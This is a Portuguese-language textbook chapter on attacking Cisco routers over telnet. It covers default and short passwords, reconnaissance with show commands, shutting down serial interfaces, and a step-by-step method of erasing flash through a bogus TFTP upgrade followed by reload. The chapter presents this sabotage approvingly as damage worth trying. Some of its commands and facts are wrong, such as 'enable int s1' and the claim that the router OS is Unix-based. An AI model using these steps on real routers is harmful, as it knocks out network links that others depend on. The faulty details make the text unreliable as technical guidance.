



Ataques a roteadores

Disciplina: Ataque, Defesa e Contra-ataque

Capítulo 27

*"And if anybody can aid me
is my brother in the army"
(Whiskey in the jar, canção
tradicional irlandesa)*

1.1 Introdução

Neste capítulo, discutiremos detalhes de como manipular roteadores conectados à Internet e como tirar vantagens das informações contidas neles. As instruções e comandos serão baseadas na plataforma Cisco, que detém cerca de 90% da base instalada. Mesmo assim, alguns conceitos se aplicam a outras plataformas, como Cyclades e 3COM.

Os roteadores conectados à Internet são peças fundamentais para o tráfego de dados e, de certo modo, estão bastante vulneráveis a ataques. O grande problema é a indisponibilidade de informações sobre o IOS da Cisco fora dos ambientes acadêmicos da empresa. Existem muitas possibilidades de configuração dos roteadores e mesmo o pessoal certificado recorre a consultas regulares ao site privativo da Cisco quando necessitam de informações mais específicas. Os roteadores transferem mutuamente as tabelas de roteamento através de alguns protocolos de rede específicos, como o OSPF e o RIP. Isso faz com que alguns roteadores instalados em pontos-chave da rede armazenem tabelas gigantescas com informações preciosas sobre rotas e tráfego entre servidores que podem ser alvos de ataque.

Os roteadores em si não guardam nenhuma informação aplicativa, somente sobre a rede. Não faz sentido atacar um roteador por atacar, a não ser que se queira justamente tentar derrubar um nó de rede. O acesso remoto a um roteador se faz pela porta telnet e a interface do IOS é linha de comando. Ao estabelecer uma sessão telnet com o roteador, a primeira tela mostrará de cara um prompt "password:". A senha-padrão dos roteadores Cisco é cisco mesmo (muito fácil), mas de algum tempo para cá, os administradores têm dado mais atenção à senha dos roteadores, e achar um roteador com senha-padrão está cada vez mais difícil. Isso acontecia por acreditarem que não haveria invasões a roteadores, e não por absoluto desleixo. Existem duas formas de habilitar a senha nos roteadores Cisco: uma é com o comando `enable password`, que permite senha sem criptografia e `secret password` que habilita uma criptografia com chave de 128 bits. A configuração mais importante de um roteador são as definições das interfaces, que aqui trataremos como portas. O número de interfaces varia de duas a dez, quinze, vinte ou mais. Alguns roteadores são modulares, o que permite a expansão da quantidade de interfaces a um número bem grande. Essas interfaces é que fazem a comunicação entre as diversas redes conectadas a ele e os links de alguma nuvem, como um *link* serial HSS, *frame relay*, satélite, etc. Para cada interface deve ser atribuído um endereço IP, de modo que todo pacote originado de uma certa rede e direcionado para outra rede, deva ser encaminhado para esse endereço IP. Dentro de uma rede local corporativa, esse endereço é conhecido como *gateway*.

O roteador em muitas situações é apenas um *gateway* que não trata nada de importante e se ficar fora do ar, apenas um pequeno nó da rede ficará indisponível, em outros casos um roteador pode acumular funções surpreendentes, como servidor TFTP, DHCP, etc. Já alguns roteadores são responsáveis por um ou mais *backbones* inteiros, cujo tráfego é prioritário e a sua indisponibilidade chega a ser impensável. Esses roteadores são o alvo certo que todo hacker gostaria de acertar, em que qualquer alteração, ou mesmo apenas a listagem das tabelas de roteamento podem causar um estrago significativo. Obviamente o seu acesso é mais difícil, mas não impossível.

2.1 Componentes

Os roteadores trabalham basicamente como qualquer computador desktop que você conhece. Eles têm processamento próprio, memória *ram*, memória *rom* e memória *flash* que funciona de modo similar ao disco rígido de um desktop. O sistema operacional dos roteadores são baseados no Unix ou em suas variações, como o caso do equipamento Ciclades, cujo sistema operacional tem sido desenvolvido em Linux.

Todos os componentes de um roteador são dedicados ao processamento de tráfego de rede e seus componentes obedecem a uma arquitetura bem rigorosa, a ponto de existir módulos de memória tão específicos que só rodam em um determinado modelo de roteador. Instalar um módulo assim em outro roteador do mesmo fabricante não vai funcionar. Esse é um dos motivos dos componentes dos roteadores serem em geral muito caros.

Ao ligar ou resetar um roteador, acontece uma inicialização similar à de qualquer micro, com *post* (power on self test) e carga do sistema operacional, que em geral demora dois a quatro minutos. Como o sistema operacional está gravado em Flash, normalmente ele acaba rodando em uma área da própria flash, visto que a velocidade de acesso é tão boa quanto os bancos de memória *ram*. Isso geralmente acontece em roteadores menores e com menos solicitações de tráfego. Nos roteadores maiores e que têm mais tráfego, geralmente instalados em backbones, o sistema operacional roda em *ram*, que, por ser mais rápida, melhora a performance geral do equipamento e evita gargalos no roteamento. Alguns detalhes da configuração de hardware de um roteador em geral não são divulgados, como o *clock* do processador, barramento frontal, etc.

Para entrar num roteador a distância, é necessário estabelecer uma sessão telnet com o roteador-alvo na porta-padrão (23). Geralmente dá para pingar qualquer porta do roteador, visto que os serviços destinados a elas não são manipulados pelo roteador. Os roteadores Cisco têm dois modos de operação: o modo privilegiado e o modo usuário. O prompt-padrão mostrado na tela é *router*. A presença do caracter *#* sustenido ou *chancela* indica o modo privilegiado, do contrário, no modo usuário, será mostrado o caracter e aritmético “maior que” no prompt. Muito semelhante ao prompt do antigo DOS, lembra? Confira abaixo como fica os dois prompts:

<code>router#</code>	(prompt do modo privilegiado)
<code>router></code>	(prompt do modo normal)

No modo usuário, é possível apenas verificar as condições das interfaces e executar alguns comandos de análise de tráfego. Para quem administra é ótimo: pode entrar na configuração do roteador, mas não pode alterar nenhum parâmetro importante. O que realmente interessa é o modo privilegiado, que é capaz de alterar a configuração das interfaces e realmente causar estragos.

Dentro do modo privilegiado, é necessário entrarmos no modo de configuração global, simplesmente digitando *conf t* (configure terminal), como mostrado abaixo:

```
conf t          o prompt do roteador ficará assim:
router(config)#
```

Para sair de um nível de configuração, digite *exit* e para sair de todos os níveis e retornar ao prompt, digite *Ctrl + Z*. A manipulação de um roteador via sessão telnet é praticamente a mesma de uma conexão via porta console. A ativação de uma sessão telnet depende de um endereço IP em uma interface ativa, por exemplo, se você acessar o roteador de uma conexão ADSL, a interface ativa na qual você se conecta ao roteador provavelmente será uma serial qualquer. Isso porque o roteador ADSL se comunica com o backbone ou nuvem diretamente, sem a intervenção de um ISP.

A quebra da password de roteadores só é difícil se o número de caracteres for muito grande. Abaixo de quatro dígitos é possível quebrar a senha em poucas horas com um ataque de dicionário. No CD que acompanha o livro temos algumas amostras de crackers de roteadores bastante eficazes.

O comando *show version* permite visualizar as configurações de hardware, versão do IOS e outros detalhes interessantes da configuração geral do roteador. Examinando essas informações, descobrimos que se trata de um roteador 2511, a versão do sistema operacional é 11,2 (rev.9), está ligado a 5 dias, 1 hora e 49 minutos, a última parada crítica aconteceu por “power on”, ou seja, desligamento proposital ou queda de energia.

Percebe-se que com apenas esse comando é possível saber muitos detalhes interessantes do roteador, mas principalmente, saber quantas interfaces essa máquina dispõe: 1 porta Ethernet/ieee 802.3, 2 portas seriais e 16 portas seriais RS232C. Essas são informações valiosas, pois a partir delas sabemos que há uma conexão com uma LAN (Ethernet), duas possíveis ligações com alguma nuvem de dados (WAN) e 16 portas RS232C, que também são locais.

```
c2511r1#show version
Cisco Internetwork Operating System Software
IOS (tm) 2500 Software (C2500-IS-L), version 11.2(9),
%RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1997 by Cisco Systems, Inc.
Compiled Mon 22-sep-97 21:31 ckralik
Image text-base: 0x0302EB70, data-base 0x00001000

ROM: System Bootstrap, version 5.2(8a), RELEASE SOFTWARE
BOOTFLASH: 3000 Bootstrap Software (IGS-RXBOOT), version
%10.2(8a), RELEASE SOFTW
ARE (fc1)

c2511r1 uptime is 5days, 1 hour, 49 minutes
```

```
System restarted by power-on at 21:31:57 EST wed dec 9 1998
System image file is 'flash:25ipp12.bin', booted via flash
```

```
cisco 2511 (68030) processor (revision D) with 16384/2048K
%bytes of memory.
Processor board ID 02313574, with hardware revision
%00000000
Bridging software.
X.25 software, Version 2.0, NET2, BFE and GOSIP compliant.
1 Ethernet/IEEE 802.3 interface(s)
2 Serial network interface(s)
16 terminal line(s)
32K bytes of processor board System flash (read-only)
```

```
Configuration register is 0x2102
```

O comando *show version* mostra na última linha uma informação muito interessante que é o *configuration register*. Essa linha indica de que forma o sistema operacional do roteador foi carregado, ou seja, de onde foi lido o arquivo de boot. Isso é similar à configuração de dispositivo de boot nos microcomputadores PC compatíveis.

É possível verificar o estado e as conexões das interfaces digitando o comando *show interfaces* no prompt em modo privilegiado. O resultado desse comando mostra o estado de todas as interfaces do roteador, incluindo o IP da interface, a quantidade de pacotes recebidos e enviados dentro de um intervalo de tempo, a quantidade de pacotes perdidos, tipo de encapsulamento, etc. Note que em alguns roteadores o número de interfaces pode variar por serem modulares. O resultado do comando que é mostrado na tela é, em geral, muito grande e destacaremos o resultado em uma página à parte.

As interfaces dos roteadores são relacionadas a números e tipos de enlaces, por exemplo: se tivermos duas ou mais interfaces ethernet, estas serão listadas como *ethernet0*, *ethernet1*, *ethernet2*, etc. As interfaces de enlace serial são listadas como *serial0*, *serial1*, *serial2*, etc. Podemos listar individualmente cada uma das interfaces usando uma variação do comando descrito acima: digitando *show interfaces e0*, veremos detalhes da interface ethernet 0. Note que o comando *show interfaces e0*, pode ser abreviado para *sh int e0*, o que é muito comum em outros comandos na programação de roteadores Cisco. O resultado do comando está listado abaixo.

```
c2511r1>show interface e0
Ethernet0 is up, line protocol is up
  Hardware is Lance, address is 000.0c75.9d72
% (bia 0000.0c75.9d72)
  Internet address is 199.250.137.50/27
  MTU 1500 bytes, BW 10000 Kbit, DLY 1000 usec, rely
255/255, load 1/255
  Encapsulation ARPA, loopback not set, keepalive set
```

```
% (10 sec)
  ARP type: ARPA, ARP timeout 04:00:00
  Last input 00:00:00, output 00:00:00, output hang never
  Last clearing of "show interface" counters never
  Queueing strategy: fifo
  Output queue 0/40, 0 drops; input queue 1/75, 0 drops
  5 minute input rate 3000 bits/sec, 4 packets/sec
  5 minute output rate 2000 bits/sec, 4 packets/sec
  1272652 packets input, 99574686 bytes, 0 no buffer
  Receiver 1210186 broadcasts, 0 runts, 0 giants, 0
%throttles
  0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored,
%0 abort
  0 input packets with dribble condition detected
  913831 packets output, 74071677 bytes, 0 underruns
  0 output errors, 4 collisions, 3 interface resets
  0 babbles, 0 late collisions, 35 deferred
  0 lost carrier, 0 no carrier
  0 output buffer failures, 0 output buffers swapped out
c2511r1>
```

Para um bom conhecedor de redes, as informações listadas podem fornecer pistas muito úteis sobre como se dá o tráfego de dados que passa pelo roteador. Por exemplo, se uma interface serial indica o uso de encapsulamento *PPP*, podemos deduzir que o enlace é feito por modem dedicado e portando uma banda mais estreita. Se o encapsulamento for *hdlc*, provavelmente teremos mais banda. Na listagem do comando mostrada acima, podemos identificar na segunda linha, o estado da interface ethernet com o termo *up* e o protocolo de linha também como *up*. Isso significa que a interface está ativa e operante. Todas as demais interfaces que não estejam ativas serão assinaladas como *down*, mostrando que não estão operantes.

Se você quiser fazer um estrago no roteador, experimente digitar no prompt privilegiado e em configuração global, a seguinte sequência:

```
router(config)# enable int s1      onde s1 é uma porta serial ativa
router(config)# shutdown
```

Essa sequência coloca a porta *serial 1* em *down*, tornando indisponível o tráfego por essa interface. Em algumas situações, isso causa um verdadeiro desastre!

Naturalmente, para podermos realizar tal feito temos de obter acesso à linha de comando do roteador de algum modo. Como vimos, roteadores com grande tráfego e em nós prioritários, não estão dando sopa sem *password*. Existe inclusive um comando capaz de desabilitar uma tentativa de estabelecer uma sessão telnet. Como fazer? Existem diversos crackers de senha para roteadores Cisco e não é difícil conseguir um. A chave de segurança padrão é normalmente criptografia de 128 bits. Mesmo assim, devemos contar com uma senha curtinha, o que facilita enormemente a quebra. Senhas com mais de seis dígitos exigem muito tempo para a quebra. Há uma vantagem: enquanto o roteador estiver no ar, você tem todo o tempo disponível para fazê-lo. Em versões mais recentes do

IOS Cisco (sistemas operacionais ver. 12.0 em diante) é possível estabelecer criptografia com chave RSA. Nesse caso a coisa fica mais complicada, pois ainda não existem cracks para esse tipo de chave.

Derrubada a senha, a manipulação do roteador é bem fácil, porém é linha de comando e bem parecido com o SCO-Unix antigo. Como vimos, estrutura interna de um roteador é muito parecida com a de um microcomputador, com processador, memória ram, *input/output* e um armazenamento não-volátil, onde é gravado o IOS e as configurações-padrão. Normalmente não há discos rígidos e o sistema operacional e demais dados permanentes ficam armazenados em memória não volátil. Para verificar as configurações de interface do roteador, digita-se o comando:

show run (mostra a configuração corrente)

Esse comando mostra a configuração atual corrente, ou seja, a configuração carregada na memória ram. Esse comando permite visualizar as tabelas de roteamento e qual o tipo de roteamento está sendo usado para cada interface. Nesse ponto é necessário esclarecer alguns detalhes sobre protocolos de roteamento. Existe, de um modo geral, duas formas de rotear pacotes de dados:

1. Roteamento estático: quando um pacote destinado à outra rede chega ao roteador, ele envia esse pacote à porta apropriada, consultando rotas estipuladas manualmente durante a sua programação.

2. Roteamento dinâmico: ao encaminhar um pacote, o roteador consulta outros roteadores próximos a ele para saber qual o melhor destino a ser dado ao pacote. Ele realiza essa consulta através de protocolos apropriados, chamados de protocolos de roteamento.

Os roteadores podem trabalhar com qualquer combinação de rotas estáticas ou dinâmicas, ou um ou outro ou os dois ao mesmo tempo. A diferença entre os dois processos de roteamento podem ser resumidas em maior velocidade para roteamento estático por não necessitar de muita CPU e porque o roteador consulta primeiro a tabela de roteamento estático, ou seja, ao chegar no roteador perde-se muito pouco tempo processando qual a melhor rota. As rotas estáticas são pouco flexíveis e por isso só são usadas em situações especiais, como uma mudança de meio físico ocasionada por queda de linha. Por exemplo, digamos que uma empresa usa uma rota dinâmica em uma nuvem frame relay e uma rota de backup estática via satélite. Se a conexão frame relay falha, o roteador alterna para conexão via satélite, que deve necessariamente ser definido como rota estática. O interessante é que normalmente o roteador dá preferência à rota estática e para evitar o uso do satélite (que é caro), altera-se um parâmetro chamado distância administrativa, fazendo o roteador “preferir” a rota dinâmica.

O roteamento dinâmico é, sem dúvida, o mais usado na Internet por causa da capacidade em contornar problemas entre os nós e garantir o envio de pacotes,

quaisquer que sejam as condições dos links entre as redes. Esse tipo de roteamento é o que ainda remonta os primórdios da Internet idealizada na década de 60, onde uma falha em um nó da rede podia ser contornada evitando que toda a rede caísse. Essa era a premissa básica que norteou o desenvolvimento da Arpanet e depois à Internet.

Existem dois principais protocolos de roteamento dinâmico: o roteamento RIP e o roteamento OSPF. O OSPF é o mais utilizado na Internet por não ter limitação de roteadores a serem atravessados e por ponderar a condição do link, ou seja, mesmo que o link seja mais curto, ele pode preferir uma rota maior, porém mais veloz.

Voltando ao comando *show run*, agora podemos saber como ele está encaminhando os pacotes de dados que chegam por suas portas. Essas informações podem fazer a festa de alguém mal intencionado ou apenas permitir um estudo de determinado alvo de ataque. Lembre-se que temos controle das rotas e como elas são tratadas. Um roteador, qualquer que seja sua implementação, não abre pacotes. Apenas lê seu cabeçalho.

Como dissemos no início do capítulo, os roteadores não guardam nenhuma informação aplicativa que possa permitir o acesso a alguma máquina que seja alvo de um ataque. A importância de um roteador na rede é equivalente a uma pilastra em uma ponte: se ela desaba...

Gravar na memória flash de um roteador alguma coisa que não seja seu sistema operacional e logo após forçar um “*reboot*”, pode realmente ser uma atitude terrorista. Os roteadores Cisco permitem o upgrade do sistema operacional em pleno vôo, ou seja, sem que haja interrupção no tráfego da rede. O upgrade de sistema é uma operação crítica e qualquer coisa anormal que ocorra poderá por o roteador fora de combate. Esse tipo de procedimento só poderia ser tomado por pessoal certificado (CCNP no mínimo), dada a responsabilidade da operação. Podemos listar dois comandos usados para baixar uma imagem de sistema de um servidor TFTP que não existe e com isso iniciar a escrita em memória flash sem conteúdo válido.

```
router# copy tftp flash
router# copy mop flash
```

Esses comandos devem ser digitados no prompt do modo privilegiado, como acima. Uma vez confirmados esses comandos, inicia-se uma série de preparativos de baixa da nova versão do IOS, como mostrado a seguir:

```
*****NOTICE*****
Flash load helper v1.0
This process will accept the TFTP copy options and then terminate
the current system image to use the ROM based image for the copy.
Router functionality will not be available during that time. If
you are logged in via telnet, this connection will terminate. Users
with console access can see the results of the copy operation.
*****
```


Em um certo momento, o roteador pedirá para confirmar a operação, conforme mostrado abaixo:

```
Proceed? [confirm] y
System flash directory:
File Length  Name/status
1      2251320  abc/igs-kf.914
[2251384 bytes used, 1942920 available, 4194304 total]
```

Uma vez confirmado, o roteador pedirá o IP do servidor onde supostamente está o arquivo-imagem contendo o IOS:

```
Address or name of remote host [255.255.255.255]? 172.16.1.111
```

Logo após, o nome do arquivo-imagem que será carregado:

```
Source file name? abc/igs-kf.914
```

Surgirá então a confirmação do nome do arquivo a ser gravado (se você der *Enter*, será mantido o mesmo nome que você digitou acima) e, logo após, a parte mais interessante de todo esse ritual: o roteador pedirá se você quer apagar o conteúdo atual da memória *flash* (é claro que você vai dar “*retourn*”).

```
Destination file name [default = source name]? <Return>
Accessing file 'abc/igs-kf.914' on 172.16.1.111....
Loading from 172.16.12.111:
Erase flash device before writing? [confirm] <Return>
```

Até esse ponto o servidor não será verificado e o roteador aceitará o endereço dado e o nome do arquivo, que pode ser o que você inventar. Após todo esse procedimento, o roteador irá procurar na rede o servidor e o arquivo informado. É agora que entra a melhor parte: o prompt ainda está ativo, a memória flash está vulnerável e o IOS ainda está rodando. Digite no prompt:

```
router# reload
```

O roteador reiniciará o sistema a partir da flash e ocorrerá um crash no sistema. Pronto, nosso roteador está fora de combate. Deverão aparecer alguns caracteres estranhos na janela do telnet e você só poderá avaliar o impacto vasculhando outras máquinas próximas ao roteador atacado. Essa é uma técnica que não oferece muitas dificuldades em realizá-la. A literatura encontrada sobre tipo de procedimento é escassa, mas é algo interessantíssimo de se fazer.

